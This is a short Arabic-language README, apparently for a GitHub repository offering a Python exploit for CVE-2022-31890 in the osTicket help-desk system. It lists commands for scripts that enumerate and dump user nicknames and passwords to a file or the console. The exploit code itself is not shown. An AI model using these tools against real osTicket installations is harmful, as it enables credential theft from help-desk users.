reewardius/cve-2022-31890استغلال مبني على بايثون لثغرة CVE-2022-31890 في نظام تذاكر الدعم osTicket، يتيح تفريغ بيانات الاعتماد عبر نصوص برمجية لتعداد الأسماء المستعارة وكلمات المرور.
اللقب:
> python nickname.py
# The output of the first nickname in the table.
كلمة المرور:
> python password.py
# The output of the first password in the table.
الإخراج إلى ملف:
> python dumpFile.py
> cat dump.txt || {{nickname}}::{{password}}
الإخراج إلى وحدة التحكم:
> python dumpConsole.py
# Output to console || {{nickname}}::{{password}}